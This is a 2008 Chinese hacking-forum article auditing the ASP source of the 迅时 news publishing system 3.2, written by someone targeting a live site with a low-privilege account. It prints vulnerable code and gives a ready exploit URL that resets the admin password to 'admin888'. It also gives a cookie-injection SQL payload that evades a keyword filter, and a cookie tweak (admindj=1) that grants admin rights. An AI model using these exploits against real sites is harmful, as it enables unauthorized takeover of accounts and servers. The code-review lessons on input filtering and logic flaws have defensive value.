您现在的位置: 捷凌网安 >> 文章中心 >> 黑客攻防 >> 正文
过滤不等于安全

作者:佚名 责任编辑:左决 点击数: 更新时间:2008-3-12 3:22:19

好久没读代码了,而且是N久没碰的asp.迅时新闻发布系统,在网上就能找到个注入漏洞的文章,还是cookies注入,试了下,我的目标已经不存在这个漏洞,下了一套最新的3.2版本.忽然发现eWebEdITor,可惜目标站的被管理员废掉了,利用不了了.
因为我已经有了一个可以发表文章的账户(id密码相同),但是权限非常低,可以玩玩XSS,能cookies欺骗,但是我不喜欢等待,还有搭积木一样的注入,所以直接找提权漏洞咯.在admin_admin_edITpass.asp中有点问题,倒着看(我的习惯),85行:

<form method="POST" action="admin_admin_edITpass_save.asp?id=<%=id%>" name="FrontPage_Form1"> //根据这个id修改密码
...很CGX的省略号...
 <p align="left"><font face="Wingdings">1</font><b>修改<%=username%>密码

...依然CGX...
 <input type="text" name="username" size="42" value="<%=username%>" maxlength="20"></td>

id,username的作用与实现基本了解了,证实一下,22行:

id=trim(request("id")) //这段是根据id(木过滤)得到修改的username云云
if id<>"" then
sql = "select * from admin where id="&id
Set rs = Server.CreateObject("ADODB.RecordSet")
rs.Open sql,conn,1,1
if rs.recordcount<>0 then
 username=rs("user")
end if

在来看下保存密码的文件,admin_admin_edITpass_save.asp,25行:

id=trim(request("id")) //id也没过滤
username=trim(request("username"))
password=md5(trim(request("password")))

if id<>"" then //漏洞出现咯
sql = "select * from admin where id="&id
Set rs = Server.CreateObject("ADODB.RecordSet")
rs.Open sql,conn,1,2
if rs.recordcount<>0 then
 rs("user")=username //MD,这也能改
 rs("pass")=password
 rs.update //cool,直接update了
end if

敏感的人一下就会看出,id没过滤,没错,是没过滤,但是我要告诉你,这个漏洞另有乾坤,就算他过滤了,也照黑无误!

首先程序通过这个id得到对应的username,而id是和你登录信息有关的,这些不重要,重要的是他是依靠id直接update密码的,只要指定了id,有个账户就可以更改任意用户的密码.Exploit:http://www.xxx.com/admin_admin_edITpass_save.asp?id=1&username=admin&password=admin888 ,admin密码就改成admin888了,拿shell很简单,还是数据库.

关于这个id的注入,也很简单,不过也需要一个账户可以访问这个文件,发现迅时有放注入的过滤处理,引用了一个文件<!--#include file = admin_conn.asp -->,逐步跟踪这个文件,发现详细的过滤是这样的:

sss=LCase(request.servervariables("QUERY_STRING"))
 if instr(sss,"select")<>0 or instr(sss,"inster")<>0 or instr(sss,"delete")<>0 or instr(sss,"(")<>0 or instr(sss,"'or")<>0 then
 response.wrITe "<BR><BR><center>你的网址不合法"
 response.end
 end if

很简单的过滤,拿下了几个SQL关键字和括号,却给普通注入造成了极大的麻烦,不过既然是request.servervariables("QUERY_STRING"),那cookies注入还是有杀伤力的,本地写个中转站,然后exploIT:http://127.0.0.1/cookie.php?id=1%20and%20(select%20asc(mid(user,1,1))%20from%20[admin]%20where%20id=1)=97,依次猜解,不过和上面的提权漏洞相比没什么价值,除非你不想让管理员发现.

本已经达到目的,但是在看几处代码让我大跌眼睛(因为我没眼镜),后台文件对身份验证居然是这样的,太2了吧,如果添加管理员也是这样的话...没看的必要了.

if Request.Cookies("admindj")<>"1" then //玩鹰呢
 Response.WrITe "<BR><BR><BR><BR><center>权限不足,你没有此功能的管理权限"
 Response.end
end if

修改cookies中的admindj的参数为1,那么就...Admin,welcome to back:)

前台也好不到哪去,好烂的代码,随随便便即可从无到有.因为好久没读代码了,所以YY一下,希望程序员能了解,过滤不等于安全,逻辑也很重要.

  • 上一篇文章:

  • 下一篇文章:
  •  
    最进更新
    普通文章瑞星公司06月04日发布 每日计06-04
    普通文章陕西省地震局网站两次遭到"黑06-04
    普通文章谨防"Flash蛀虫"病毒 已感染06-04
    普通文章安全预警:“肉鸡猎人”抓肉06-04
    普通文章灰鸽子伪装成MSN、QQ等常用图06-04
    普通文章微软:Safari浏览器存在安全06-04
    普通文章中国黑客被疑导致美国2003年06-04
    普通文章微软建议用户暂停用苹果Safa06-04
    普通文章台北世贸中心官网被挂马06-04
    普通文章电脑身份验证无处不在 让黑客06-04
     
    推荐文章
    推荐文章触目惊心 专家解读黑色产业链06-04
    推荐文章网络黑色产业链日渐成型 奥运06-04
    推荐文章保护DNS服务器十大技巧06-04
    推荐文章Vista在非常规状态下数据备份06-04
    推荐文章Linux IPv6环境下DNS服务器配05-01
    推荐文章信息安全:阻止SSH口令尝试工05-01
    推荐文章解决网内终端无法通信故障05-01
    推荐文章熟透各种特殊IP地址 将IP藏一05-01
    推荐文章IE用户减少,黑客盯上Safari 05-01
    推荐文章我国网络安全形势非常严峻 应04-30
     
    热点文章 
    普通文章灰鸽子伪装成MSN、QQ等常用图06-04
    普通文章中国黑客被疑导致美国2003年06-04
    普通文章电脑身份验证无处不在 让黑客06-04
    推荐文章触目惊心 专家解读黑色产业链06-04
    普通文章Windows系统用户摆脱黑客攻击06-04
    普通文章病毒导致输入法无法切换的处06-04
    普通文章Informix注入整理05-23
    普通文章Cookies的注入方法和原理05-23
    普通文章SQL注射修改难猜解的MD505-23
    普通文章黑客眼中的OpenSSL:强大的密05-05

    | 设为首页 | 加入收藏 | 联系站长 | 广告服务 | 友情链接 | 版权申明 | 网站地图 |

    在线交流 捷凌网安主群:51649627
    Copyright 2007-2008 © 捷凌网安. All rights reserved.
    备案序号:蜀ICP备08001812号